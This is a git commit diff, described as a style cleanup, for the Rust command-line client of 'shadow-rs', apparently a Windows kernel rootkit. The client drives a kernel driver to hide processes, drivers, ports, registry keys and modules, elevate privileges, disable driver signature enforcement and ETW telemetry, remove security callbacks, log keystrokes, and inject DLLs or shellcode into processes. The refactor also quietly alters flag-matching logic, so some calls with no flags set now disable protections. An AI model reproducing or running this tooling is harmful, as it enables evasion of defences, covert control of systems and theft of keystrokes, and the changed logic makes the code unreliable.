style: cleaned up CLI code and comments

This commit is contained in:
joaoviictorti
2025-07-05 01:26:41 -03:00
parent 25f296e70a
commit e53ca7aba9
15 changed files with 410 additions and 344 deletions

View File

@@ -1,7 +1,7 @@
[package]
name = "shadow-rs"
version = "0.1.0"
edition = "2021"
edition = "2024"
[dependencies]
log = "0.4.22"

View File

@@ -1,7 +1,14 @@
#![allow(non_camel_case_types)]
use crate::utils::{validate_sys_extension, Callbacks, Options, PortType, Protocol, BANNER};
use clap::{arg, ArgAction, Parser, Subcommand, ValueHint};
use crate::utils::{
validate_sys_extension,
Callbacks,
Options,
PortType,
Protocol,
BANNER
};
/// The main command-line interface struct.
#[derive(Parser)]
@@ -79,7 +86,7 @@ pub enum Commands {
/// Type Port
#[arg(long, required = true)]
type_: PortType,
r#type: PortType,
/// Number port.
#[arg(short, required = true)]
@@ -204,7 +211,7 @@ pub enum InjectionCommands {
/// Type shellcode
#[arg(long, short, required = true)]
type_: InjectionTypes,
r#type: InjectionTypes,
},
/// Shellcode Injection
@@ -219,7 +226,7 @@ pub enum InjectionCommands {
/// Type shellcode
#[arg(long, short, required = true)]
type_: InjectionTypes,
r#type: InjectionTypes,
},
}
@@ -292,7 +299,7 @@ pub enum ProcessCommands {
// Types Enumerate
#[arg(long, short, required = true)]
type_: Options,
r#type: Options,
},
}
@@ -391,7 +398,7 @@ pub enum ThreadCommands {
// Types Enumerate
#[arg(long, short, required = true)]
type_: Options,
r#type: Options,
},
}

View File

@@ -1,226 +1,258 @@
use cli::*;
use common::ioctls::*;
use clap::Parser;
use log::{warn, error};
use cli::*;
use modules::*;
use common::ioctls::*;
use utils::{init_logger, BANNER};
use modules::{
callback::Callback,
driver::Driver,
injection::Injection,
misc::Misc,
module::Module,
network::Network,
process::Process,
thread::Thread,
};
#[cfg(not(feature = "mapper"))]
use modules::registry::Registry;
mod cli;
mod modules;
#[macro_use]
mod utils;
mod cli;
mod modules;
fn main() {
let args = Cli::parse();
init_logger(args.verbose);
println!("{BANNER}");
match &args.command {
// Process-related operations
Commands::Process { sub_command } => {
let mut process = Process::new();
match sub_command {
// Elevate privileges of a specific process
ProcessCommands::Elevate { pid } => {
process.elevate_process(Some(pid), ELEVATE_PROCESS);
}
// Hide or unhide a process by PID
ProcessCommands::Hide { pid } | ProcessCommands::Unhide { pid } => {
let hide = matches!(sub_command, ProcessCommands::Hide { .. });
process.hide_unhide_process(Some(pid), HIDE_UNHIDE_PROCESS, hide);
}
// Terminate a process by PID
ProcessCommands::Terminate { pid } => {
process.terminate_process(Some(pid), TERMINATE_PROCESS);
}
// Apply or remove a signature from a process
ProcessCommands::Signature { pid, pt, sg } => {
process.signature_process(Some(pid), SIGNATURE_PROCESS, sg, pt);
}
// Add or remove protection flags from a process (if feature "mapper" is not enabled)
#[cfg(not(feature = "mapper"))]
ProcessCommands::Protection { pid, add, remove } => {
match (*add, *remove) {
(true, false) => process.protection_process(Some(pid), PROTECTION_PROCESS, true),
match (add == &true, remove == &false) {
(true, true) => process.protection_process(Some(pid), PROTECTION_PROCESS, true),
(false, true) => process.protection_process(Some(pid), PROTECTION_PROCESS, false),
_ => log::error!("No action provided"),
_ => error!("No action provided"),
}
}
ProcessCommands::Enumerate { list, type_ } if *list => {
process.enumerate_process(ENUMERATION_PROCESS, type_);
// List running processes
ProcessCommands::Enumerate { list, r#type } if *list => {
process.enumerate_process(ENUMERATION_PROCESS, r#type);
}
_ => log::error!("Invalid or unsupported process command"),
_ => error!("Invalid or unsupported process command"),
}
}
// Thread-related operations
Commands::Thread { sub_command } => {
let thread = Thread::new();
match sub_command {
// Hide or unhide a thread by TID
ThreadCommands::Hide { tid } | ThreadCommands::Unhide { tid } => {
let hide = matches!(sub_command, ThreadCommands::Hide { .. });
thread.hide_unhide_thread(Some(tid), HIDE_UNHIDE_THREAD, hide);
}
// Add or remove protection from a thread (if feature "mapper" is not enabled)
#[cfg(not(feature = "mapper"))]
ThreadCommands::Protection { tid, add, remove } => {
match (*add, *remove) {
(true, false) => thread.protection_thread(Some(tid), PROTECTION_THREAD, true),
match (add == &true, remove == &false) {
(true, true) => thread.protection_thread(Some(tid), PROTECTION_THREAD, true),
(false, true) => thread.protection_thread(Some(tid), PROTECTION_THREAD, false),
_ => log::error!("No action provided"),
_ => error!("No action provided"),
}
}
ThreadCommands::Enumerate { list, type_ } if *list => {
thread.enumerate_thread(ENUMERATION_THREAD, type_);
// List threads in the system
ThreadCommands::Enumerate { list, r#type } if *list => {
thread.enumerate_thread(ENUMERATION_THREAD, r#type);
}
_ => log::error!("Invalid or unsupported thread command"),
_ => error!("Invalid or unsupported thread command"),
}
}
// Driver-related operations
Commands::Driver { sub_command, hide, unhide, list, name } => {
let driver = Driver::new();
// List all loaded drivers
if *list {
return driver.enumerate_driver(ENUMERATE_DRIVER);
}
// Hide or unhide a specific driver
if let Some(name) = name {
if *hide || *unhide {
return driver.unhide_hide_driver(HIDE_UNHIDE_DRIVER, &name, *hide);
return driver.unhide_hide_driver(HIDE_UNHIDE_DRIVER, name, *hide);
}
}
match sub_command {
Some(DriverCommands::Block { name, add, remove }) => {
if let Some(name) = name {
if *add || *remove{
driver.block_driver(BLOCK_DRIVER, name, *add);
} else {
log::warn!("You must specify either --add or --remove.");
}
// Block or unblock a driver from loading
if let Some(DriverCommands::Block { name, add, remove }) = sub_command {
if let Some(name) = name {
if *add || *remove {
driver.block_driver(BLOCK_DRIVER, name, *add);
} else {
warn!("You must specify either --add or --remove.");
}
},
None => {}
}
}
}
// Miscellaneous system functions
Commands::Misc { sub_command } => {
let misc = Misc::new();
match sub_command {
// Enable or disable Driver Signature Enforcement (DSE)
MisCommands::DSE { disable, enable } => {
match (*enable, *disable) {
(true, false) => misc.dse(ENABLE_DSE, true),
match (enable == &true, disable == &false) {
(true, true) => misc.dse(ENABLE_DSE, true),
(false, true) => misc.dse(ENABLE_DSE, false),
_ => log::error!("No action provided"),
_ => error!("No action provided"),
}
}
MisCommands::Keylogger { file } => misc.keylogger(KEYLOGGER, file),
// Start keylogger with optional output path
MisCommands::Keylogger { file } => {
misc.keylogger(KEYLOGGER, file);
}
// Enable or disable ETWTI (ETW telemetry interception)
MisCommands::Etwti { disable, enable } => {
match (*enable, *disable) {
(true, false) => misc.etwti(ETWTI, true),
match (enable == &true, disable == &false) {
(true, true) => misc.etwti(ETWTI, true),
(false, true) => misc.etwti(ETWTI, false),
_ => log::error!("No action provided"),
_ => error!("No action provided"),
}
}
}
}
Commands::Network {
hide,
unhide,
protocol,
type_,
port_number,
} => {
let network = Network::new();
if *hide || *unhide {
network.hide_unhide_port(HIDE_PORT, *protocol, *type_, *port_number, *hide);
} else {
log::error!("No action provided. Use --hide or --unhide.");
}
}
// Hide or unhide TCP/UDP ports
Commands::Network { hide, unhide, protocol, r#type, port_number } => {
let network = Network::new();
if *hide || *unhide {
network.hide_unhide_port(HIDE_PORT, *protocol, *r#type, *port_number, *hide);
} else {
error!("No action provided. Use --hide or --unhide.");
}
}
// Registry-related operations (if feature "mapper" is not enabled)
#[cfg(not(feature = "mapper"))]
Commands::Registry { sub_command } => {
let registry = Registry::new();
match sub_command {
// Add or remove registry protection for a key or value
RegistryCommands::Protect { key, name, add, remove } => {
match (*add, *remove) {
(true, true) => log::error!("Both add and remove options cannot be specified at the same time"),
match (add == &true, remove == &true) {
(true, true) => error!("Both add and remove options cannot be specified at the same time"),
(true, false) | (false, true) => {
let action = *add;
let reg_type = if name.is_some() { REGISTRY_PROTECTION_VALUE } else { REGISTRY_PROTECTION_KEY };
let reg_name = name.clone().unwrap_or_else(|| "".to_string());
let reg_name = name.clone().unwrap_or_default();
registry.registry_protection(reg_type, &reg_name, key, action);
}
_ => log::error!("Either add or remove must be specified"),
_ => error!("Either add or remove must be specified"),
}
}
// Hide or unhide a registry key or value
RegistryCommands::Hide { key, value } | RegistryCommands::Unhide { key, value } => {
let action = matches!(sub_command, RegistryCommands::Hide { .. });
let reg_type = if value.is_some() { HIDE_UNHIDE_VALUE } else { HIDE_UNHIDE_KEY };
let reg_name = value.clone().unwrap_or_else(|| "".to_string());
let reg_name = value.clone().unwrap_or_default();
registry.registry_hide_unhide(reg_type, &reg_name, key, action);
}
}
}
}
// Module-related operations (DLLs loaded into processes)
Commands::Module { sub_command } => {
let module = Module::new();
match sub_command {
ModuleCommands::Enumerate { pid } => module.enumerate_module(ENUMERATE_MODULE, pid),
ModuleCommands::Hide { name, pid } => module.hide_module(HIDE_MODULE, name, *pid),
// List modules for a given process
ModuleCommands::Enumerate { pid } => {
module.enumerate_module(ENUMERATE_MODULE, pid);
}
// Hide a module (DLL) from a process
ModuleCommands::Hide { name, pid } => {
module.hide_module(HIDE_MODULE, name, *pid);
}
}
}
Commands::Callback {
list,
enumerate,
remove,
restore,
callback,
} => {
// Callback hook management (remove, restore, list)
Commands::Callback { list, enumerate, remove, restore, callback } => {
let callbacks = Callback::new();
if *list || *enumerate {
let enum_type = if *list { ENUMERATE_CALLBACK } else { ENUMERATE_REMOVED_CALLBACK };
let enum_type = if *list {
ENUMERATE_CALLBACK
} else {
ENUMERATE_REMOVED_CALLBACK
};
callbacks.enumerate_callback(enum_type, callback);
return;
}
match (remove, restore) {
(Some(index), None) => callbacks.remove_callback(*index, REMOVE_CALLBACK, callback),
(None, Some(index)) => callbacks.restore_callback(*index, RESTORE_CALLBACK, callback),
(Some(_), Some(_)) => log::error!("Cannot remove and restore at the same time"),
(None, None) => log::error!("No action provided for callback"),
(Some(_), Some(_)) => error!("Cannot remove and restore at the same time"),
(None, None) => error!("No action provided for callback"),
}
}
}
// Injection-related operations (DLL/shellcode into processes)
Commands::Injection { sub_command } => {
let injection = Injection::new();
match sub_command {
InjectionCommands::DLL { pid, path, type_ } => match type_ {
// Inject DLL using selected technique
InjectionCommands::DLL { pid, path, r#type } => match r#type {
InjectionTypes::Thread => injection.injection(INJECTION_DLL_THREAD, pid, path),
InjectionTypes::APC => injection.injection(INJECTION_DLL_APC, pid, path),
InjectionTypes::ThreadHijacking => log::error!("No Supported")
InjectionTypes::ThreadHijacking => error!("Thread hijacking for DLLs is not supported"),
},
InjectionCommands::Shellcode { pid, path, type_ } => match type_ {
// Inject shellcode using selected technique
InjectionCommands::Shellcode { pid, path, r#type } => match r#type {
InjectionTypes::Thread => injection.injection(INJECTION_SHELLCODE_THREAD, pid, path),
InjectionTypes::APC => injection.injection(INJECTION_SHELLCODE_APC, pid, path),
InjectionTypes::ThreadHijacking => injection.injection(INJECTION_SHELLCODE_THREAD_HIJACKING, pid, path)
InjectionTypes::ThreadHijacking => injection.injection(INJECTION_SHELLCODE_THREAD_HIJACKING, pid, path),
},
}
}

View File

@@ -1,15 +1,15 @@
use crate::{utils::open_driver, utils::Callbacks};
use common::structs::{CallbackInfoInput, CallbackInfoOutput};
use std::{ffi::c_void, mem::size_of, ptr::null_mut};
use log::{info, error, debug};
use windows_sys::Win32::{
Foundation::{CloseHandle, GetLastError, HANDLE},
System::IO::DeviceIoControl,
};
use common::structs::{CallbackInfoInput, CallbackInfoOutput};
use crate::{utils::open_driver, utils::Callbacks};
/// Provides operations for managing callbacks through a driver interface.
pub struct Callback {
driver_handle: HANDLE,
}
pub struct Callback(HANDLE);
impl Callback {
/// Creates a new `Callback` instance, opening a handle to the driver.
@@ -22,8 +22,8 @@ impl Callback {
///
/// Panics if the driver cannot be opened.
pub fn new() -> Self {
let driver_handle = open_driver().expect("Error");
Callback { driver_handle }
let h_driver = open_driver().expect("Error");
Self(h_driver)
}
/// Enumerates all callbacks associated with a specified callback type.
@@ -33,9 +33,8 @@ impl Callback {
/// * `ioctl_code` - The IOCTL code for the enumeration operation.
/// * `callback` - Reference to the `Callbacks` struct, defining the type of callback to enumerate.
pub fn enumerate_callback(self, ioctl_code: u32, callback: &Callbacks) {
log::debug!("Attempting to open the driver for callback enumeration");
log::debug!("Allocating memory for callback information");
debug!("Attempting to open the driver for callback enumeration");
debug!("Allocating memory for callback information");
let mut return_buffer = 0;
let mut callback_info: [CallbackInfoOutput; 400] = unsafe { std::mem::zeroed() };
let mut input_callback = CallbackInfoInput {
@@ -43,10 +42,10 @@ impl Callback {
callback: callback.to_shared(),
};
log::debug!("Sending DeviceIoControl command to enumerate callbacks");
debug!("Sending DeviceIoControl command to enumerate callbacks");
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut input_callback as *mut _ as *mut c_void,
size_of::<CallbackInfoInput>() as u32,
@@ -58,13 +57,13 @@ impl Callback {
};
if status == 0 {
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe {
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe {
GetLastError()
});
} else {
let total_modules = return_buffer as usize / size_of::<CallbackInfoOutput>();
log::info!("Total callbacks found: {}", total_modules);
log::info!("Listing callbacks:");
info!("Total callbacks found: {}", total_modules);
info!("Listing callbacks:");
println!("");
for i in callback_info.iter() {
@@ -72,7 +71,7 @@ impl Callback {
let name = match String::from_utf16(&i.name) {
Ok(name) => name.trim_end_matches('\0').to_string(),
Err(err) => {
log::error!("UTF-16 decoding error: {:?}", err);
error!("UTF-16 decoding error: {:?}", err);
continue;
}
};
@@ -81,7 +80,7 @@ impl Callback {
let name = match String::from_utf16(&i.name) {
Ok(name) => name.trim_end_matches('\0').to_string(),
Err(err) => {
log::error!("UTF-16 decoding error: {:?}", err);
error!("UTF-16 decoding error: {:?}", err);
continue;
}
};
@@ -91,7 +90,7 @@ impl Callback {
}
}
println!("");
log::info!("Callback enumeration completed")
info!("Callback enumeration completed")
}
}
@@ -103,19 +102,18 @@ impl Callback {
/// * `ioctl_code` - The IOCTL code for the remove operation.
/// * `callback` - Reference to the `Callbacks` struct, defining the type of callback.
pub fn remove_callback(self, index: usize, ioctl_code: u32, callback: &Callbacks) {
log::debug!("Attempting to open the driver to remove callback at index: {index}");
log::debug!("Preparing structure to remove callback at index: {}", index);
debug!("Attempting to open the driver to remove callback at index: {index}");
debug!("Preparing structure to remove callback at index: {}", index);
let mut callback_info = CallbackInfoInput {
index,
callback: callback.to_shared(),
};
log::debug!("Sending DeviceIoControl command to remove callback at index: {index}");
debug!("Sending DeviceIoControl command to remove callback at index: {index}");
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut callback_info as *mut _ as *mut c_void,
size_of::<CallbackInfoInput>() as u32,
@@ -127,9 +125,9 @@ impl Callback {
};
if status == 0 {
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
log::info!("Successfully removed callback at index: {index}");
info!("Successfully removed callback at index: {index}");
}
}
@@ -141,19 +139,19 @@ impl Callback {
/// * `ioctl_code` - The IOCTL code for the restore operation.
/// * `callback` - Reference to the `Callbacks` struct, defining the type of callback.
pub fn restore_callback(self, index: usize, ioctl_code: u32, callback: &Callbacks) {
log::debug!("Attempting to open the driver to restore callback at index: {index}");
debug!("Attempting to open the driver to restore callback at index: {index}");
log::debug!("Preparing structure to restore callback at index: {index}");
debug!("Preparing structure to restore callback at index: {index}");
let mut callback_info = CallbackInfoInput {
index,
callback: callback.to_shared(),
};
log::debug!("Sending DeviceIoControl command to restore callback at index: {index}");
debug!("Sending DeviceIoControl command to restore callback at index: {index}");
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut callback_info as *mut _ as *mut c_void,
size_of::<CallbackInfoInput>() as u32,
@@ -165,9 +163,9 @@ impl Callback {
};
if status == 0 {
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
log::info!("Successfully restored callback at index: {index}");
info!("Successfully restored callback at index: {index}");
}
}
}
@@ -175,7 +173,7 @@ impl Callback {
impl Drop for Callback {
/// Ensures the driver handle is closed when `Callback` goes out of scope.
fn drop(&mut self) {
log::debug!("Closing the driver handle");
unsafe { CloseHandle(self.driver_handle) };
debug!("Closing the driver handle");
unsafe { CloseHandle(self.0) };
}
}

View File

@@ -1,15 +1,15 @@
use crate::utils::open_driver;
use common::structs::{DriverInfo, TargetDriver};
use std::{ffi::c_void, ptr::null_mut};
use log::{info, error, debug};
use windows_sys::Win32::{
Foundation::{CloseHandle, GetLastError, HANDLE},
System::IO::DeviceIoControl,
};
use common::structs::{DriverInfo, TargetDriver};
use crate::utils::open_driver;
/// Provides operations for managing drivers through a driver interface.
pub struct Driver {
driver_handle: HANDLE,
}
pub struct Driver(HANDLE);
impl Driver {
/// Creates a new `Driver` instance, opening a handle to the driver.
@@ -22,8 +22,8 @@ impl Driver {
///
/// Panics if the driver cannot be opened.
pub fn new() -> Self {
let driver_handle = open_driver().expect("Error");
Driver { driver_handle }
let h_driver = open_driver().expect("Error");
Self(h_driver)
}
/// Hides or unhides a driver based on its name.
@@ -34,19 +34,19 @@ impl Driver {
/// * `name` - The name of the driver to hide or unhide.
/// * `enable` - `true` to hide or `false` to unhide the driver.
pub fn unhide_hide_driver(self, ioctl_code: u32, name: &String, enable: bool) {
log::debug!("Attempting to open the driver for {} operation", if enable { "hide" } else { "unhide" });
log::debug!("Preparing structure for: {}", name);
debug!("Attempting to open the driver for {} operation", if enable { "hide" } else { "unhide" });
debug!("Preparing structure for: {}", name);
let mut info_driver = TargetDriver {
name: name.to_string(),
enable,
..Default::default()
};
log::debug!("Sending DeviceIoControl command to {} driver", if enable { "hide" } else { "unhide" });
debug!("Sending DeviceIoControl command to {} driver", if enable { "hide" } else { "unhide" });
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut info_driver as *mut _ as *mut c_void,
size_of::<TargetDriver>() as u32,
@@ -58,9 +58,9 @@ impl Driver {
};
if status == 0 {
log::error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError()});
error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError()});
} else {
log::info!("Driver successfully {}hidden", if enable { "" } else { "un" });
info!("Driver successfully {}hidden", if enable { "" } else { "un" });
}
}
@@ -72,18 +72,18 @@ impl Driver {
/// - `name` - The name of the driver to block or unblock.
/// - `enable` - `true` to block the driver, `false` to unblock.
pub fn block_driver(self, ioctl_code: u32, name: &String, enable: bool) {
log::debug!("Preparing structure for: {}", name);
debug!("Preparing structure for: {}", name);
let mut info_driver = TargetDriver {
name: name.to_string(),
enable,
..Default::default()
};
log::debug!("Sending DeviceIoControl command to {} driver", if enable { "block" } else { "unblock" });
debug!("Sending DeviceIoControl command to {} driver", if enable { "block" } else { "unblock" });
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut info_driver as *mut _ as *mut c_void,
size_of::<TargetDriver>() as u32,
@@ -95,9 +95,9 @@ impl Driver {
};
if status == 0 {
log::error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError()});
error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError()});
} else {
log::info!("Driver successfully {}block", if enable { "" } else { "un" });
info!("Driver successfully {}block", if enable { "" } else { "un" });
}
}
@@ -107,15 +107,15 @@ impl Driver {
///
/// * `ioctl_code` - The IOCTL code for the enumeration operation.
pub fn enumerate_driver(self, ioctl_code: u32) {
log::debug!("Attempting to open the driver for enumeration");
log::debug!("Allocating memory for driver info");
debug!("Attempting to open the driver for enumeration");
debug!("Allocating memory for driver info");
let mut driver_info: [DriverInfo; 400] = unsafe { std::mem::zeroed() };
log::debug!("Sending DeviceIoControl command to enumerate drivers");
debug!("Sending DeviceIoControl command to enumerate drivers");
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
null_mut(),
0,
@@ -127,11 +127,11 @@ impl Driver {
};
if status == 0 {
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
let total_modules = return_buffer as usize / size_of::<DriverInfo>();
log::info!("Total modules found: {}", total_modules);
log::info!("Listing drivers:");
info!("Total modules found: {}", total_modules);
info!("Listing drivers:");
println!("");
for i in driver_info.iter() {
@@ -139,7 +139,7 @@ impl Driver {
let name = match String::from_utf16(&i.name) {
Ok(name) => name,
Err(err) => {
log::error!("UTF-16 decoding error: {:?}", err);
error!("UTF-16 decoding error: {:?}", err);
continue;
}
};
@@ -148,7 +148,7 @@ impl Driver {
}
}
println!("");
log::info!("Driver enumeration completed.");
info!("Driver enumeration completed.");
}
}
}
@@ -156,7 +156,7 @@ impl Driver {
impl Drop for Driver {
/// Ensures the driver handle is closed when `Driver` goes out of scope.
fn drop(&mut self) {
log::debug!("Closing the driver handle");
unsafe { CloseHandle(self.driver_handle) };
debug!("Closing the driver handle");
unsafe { CloseHandle(self.0) };
}
}

View File

@@ -1,29 +1,29 @@
use crate::{utils::check_file, utils::open_driver};
use common::structs::TargetInjection;
use std::{ffi::c_void, ptr::null_mut};
use log::{info, error, debug};
use windows_sys::Win32::{
Foundation::{CloseHandle, HANDLE},
System::IO::DeviceIoControl,
};
use common::structs::TargetInjection;
use crate::{utils::check_file, utils::open_driver};
/// Provides operations for injecting code into processes through a driver interface.
pub struct Injection {
driver_handle: HANDLE,
}
pub struct Injection(HANDLE);
impl Injection {
/// Creates a new `Injection` instance, opening a handle to the driver.
/// Creates a new [`Injection`] instance, opening a handle to the driver.
///
/// # Returns
///
/// * An instance of `Injection`.
/// * An instance of [`Injection`].
///
/// # Panics
///
/// Panics if the driver cannot be opened.
pub fn new() -> Self {
let driver_handle = open_driver().expect("Error");
Injection { driver_handle }
let h_driver = open_driver().expect("Error");
Self(h_driver)
}
/// Injects code into a process's thread specified by `pid` using a file at `path`.
@@ -34,26 +34,25 @@ impl Injection {
/// * `pid` - A reference to the PID of the target process.
/// * `path` - The file path of the code to inject.
pub fn injection(self, ioctl_code: u32, pid: &u32, path: &String) {
log::info!("Starting process injection for PID: {pid}, using file: {path}");
log::info!("Checking if the file exists at the specified path");
info!("Starting process injection for PID: {pid}, using file: {path}");
info!("Checking if the file exists at the specified path");
if !check_file(path) {
log::error!("File not found at the specified path: {path}. Please check the file path and try again");
error!("File not found at the specified path: {path}. Please check the file path and try again");
return;
}
log::info!("File found!!!");
log::debug!("Preparing injection structure");
info!("File found!!!");
debug!("Preparing injection structure");
let mut info_injection = TargetInjection {
path: path.to_string(),
pid: *pid as usize,
};
log::debug!("Sending DeviceIoControl command to Process Injection");
debug!("Sending DeviceIoControl command to Process Injection");
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut info_injection as *mut _ as *mut c_void,
size_of::<TargetInjection>() as u32,
@@ -65,9 +64,9 @@ impl Injection {
};
if status == 0 {
log::error!("DeviceIoControl Failed with status: 0x{:08X}", status);
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
log::info!("Process injection was successfully performed on PID: {pid} using the file at path: {path}");
info!("Process injection was successfully performed on PID: {pid} using the file at path: {path}");
}
}
}
@@ -75,7 +74,7 @@ impl Injection {
impl Drop for Injection {
/// Ensures the driver handle is closed when `Injection` goes out of scope.
fn drop(&mut self) {
log::debug!("Closing the driver handle");
unsafe { CloseHandle(self.driver_handle) };
debug!("Closing the driver handle");
unsafe { CloseHandle(self.0) };
}
}

View File

@@ -7,6 +7,7 @@ use std::{
time::Duration,
};
use log::{info, error, debug};
use windows_sys::Win32::{
Foundation::{
CloseHandle, GetLastError,
@@ -33,9 +34,7 @@ pub static mut KEY_RECENT: [u8; 64] = [0; 64];
/// Provides miscellaneous system functionalities through a driver interface, such as
/// Driver Signature Enforcement (DSE) toggling, ETWTI management, and keylogging.
pub struct Misc {
driver_handle: HANDLE,
}
pub struct Misc(HANDLE);
impl Misc {
/// Creates a new `Misc` instance, opening a handle to the driver.
@@ -48,8 +47,8 @@ impl Misc {
///
/// Panics if the driver cannot be opened.
pub fn new() -> Self {
let driver_handle = open_driver().expect("Error");
Misc { driver_handle }
let h_driver = open_driver().expect("Error");
Self(h_driver)
}
/// Enables or disables Driver Signature Enforcement (DSE).
@@ -59,14 +58,14 @@ impl Misc {
/// * `ioctl_code` - The IOCTL code for the DSE operation.
/// * `enable` - `true` to enable DSE or `false` to disable it.
pub fn dse(self, ioctl_code: u32, enable: bool) {
log::debug!("Preparing DSE structure for {}", if enable { "enabling" } else { "disabling" });
debug!("Preparing DSE structure for {}", if enable { "enabling" } else { "disabling" });
let mut info_dse = DSE { enable };
log::debug!("Sending DeviceIoControl command to {} DSE", if enable { "enable" } else { "disable" });
debug!("Sending DeviceIoControl command to {} DSE", if enable { "enable" } else { "disable" });
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut info_dse as *mut _ as *mut c_void,
size_of::<DSE>() as u32,
@@ -78,9 +77,9 @@ impl Misc {
};
if status == 0 {
log::error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() });
error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() });
} else {
log::info!("Driver Signature Enforcement (DSE) {}", if enable { "enable" } else { "disable" });
info!("Driver Signature Enforcement (DSE) {}", if enable { "enable" } else { "disable" });
}
}
@@ -95,7 +94,7 @@ impl Misc {
let mut address = 0usize;
let mut return_buffer = 0;
let status = DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
null_mut(),
0,
@@ -106,7 +105,7 @@ impl Misc {
);
if status == 0 {
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", GetLastError());
error!("DeviceIoControl Failed With Status: 0x{:08X}", GetLastError());
return;
}
@@ -141,7 +140,7 @@ impl Misc {
for i in 0..256 {
if key_pressed(i as u8) {
let key = vk_to_char(i as u8);
log::debug!("{key}");
debug!("{key}");
writeln!(writer, "{}", key).expect("Failed to write to file");
writer.flush().expect("Failed to flush file buffer");
}
@@ -162,14 +161,14 @@ impl Misc {
/// * `ioctl_code` - The IOCTL code for the ETWTI operation.
/// * `enable` - `true` to enable ETWTI or `false` to disable it.
pub fn etwti(self, ioctl_code: u32, enable: bool) {
log::debug!("Preparing ETWTI structure for {}", if enable { "enabling" } else { "disabling" });
debug!("Preparing ETWTI structure for {}", if enable { "enabling" } else { "disabling" });
let mut etwti = ETWTI { enable };
log::debug!("Sending DeviceIoControl command to {} ETWTI", if enable { "enable" } else { "disable" });
debug!("Sending DeviceIoControl command to {} ETWTI", if enable { "enable" } else { "disable" });
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut etwti as *mut _ as *mut c_void,
std::mem::size_of::<ETWTI>() as u32,
@@ -181,9 +180,9 @@ impl Misc {
};
if status == 0 {
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
log::info!("ETWTI {}", if enable { "enable" } else { "disable" })
info!("ETWTI {}", if enable { "enable" } else { "disable" })
}
}
}
@@ -191,7 +190,7 @@ impl Misc {
impl Drop for Misc {
/// Ensures the driver handle is closed when `Misc` goes out of scope.
fn drop(&mut self) {
log::debug!("Closing the driver handle");
unsafe { CloseHandle(self.driver_handle) };
debug!("Closing the driver handle");
unsafe { CloseHandle(self.0) };
}
}

View File

@@ -1,12 +1,22 @@
#![allow(static_mut_refs)]
pub mod callback;
pub mod driver;
pub mod injection;
pub mod misc;
pub mod module;
pub mod network;
pub mod process;
mod callback;
mod driver;
mod injection;
mod misc;
mod module;
mod network;
mod process;
mod thread;
pub use callback::*;
pub use driver::*;
pub use injection::*;
pub use misc::*;
pub use module::*;
pub use network::*;
pub use process::*;
pub use thread::*;
#[cfg(not(feature = "mapper"))]
pub mod registry;
pub mod thread;

View File

@@ -1,15 +1,19 @@
use crate::utils::open_driver;
use common::structs::{ModuleInfo, TargetModule, TargetProcess};
use std::{ffi::c_void, mem::size_of, ptr::null_mut};
use log::{info, error, debug};
use windows_sys::Win32::{
Foundation::{CloseHandle, GetLastError, HANDLE},
System::IO::DeviceIoControl,
};
use crate::utils::open_driver;
use common::structs::{
ModuleInfo,
TargetModule,
TargetProcess
};
/// Provides operations for managing modules within a process through a driver interface.
pub struct Module {
driver_handle: HANDLE,
}
pub struct Module(HANDLE);
impl Module {
/// Creates a new `Module` instance, opening a handle to the driver.
@@ -22,8 +26,8 @@ impl Module {
///
/// Panics if the driver cannot be opened.
pub fn new() -> Self {
let driver_handle = open_driver().expect("Error");
Module { driver_handle }
let h_driver = open_driver().expect("Error");
Self(h_driver)
}
/// Enumerates all modules within a specified process by `pid`.
@@ -33,20 +37,20 @@ impl Module {
/// * `ioctl_code` - The IOCTL code for the enumeration operation.
/// * `pid` - A reference to the PID of the process whose modules will be enumerated.
pub fn enumerate_module(self, ioctl_code: u32, pid: &u32) {
log::info!("Attempting to enumerate modules for PID: {pid}");
info!("Attempting to enumerate modules for PID: {pid}");
log::debug!("Preparing structure for pid: {pid}");
debug!("Preparing structure for pid: {pid}");
let mut module_info: [ModuleInfo; 400] = unsafe { std::mem::zeroed() };
let mut input_module = TargetProcess {
pid: *pid as usize,
..Default::default()
};
log::debug!("Sending DeviceIoControl command to enumerate modules for PID: {pid}");
debug!("Sending DeviceIoControl command to enumerate modules for PID: {pid}");
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut input_module as *mut _ as *mut c_void,
size_of::<TargetProcess>() as u32,
@@ -58,11 +62,11 @@ impl Module {
};
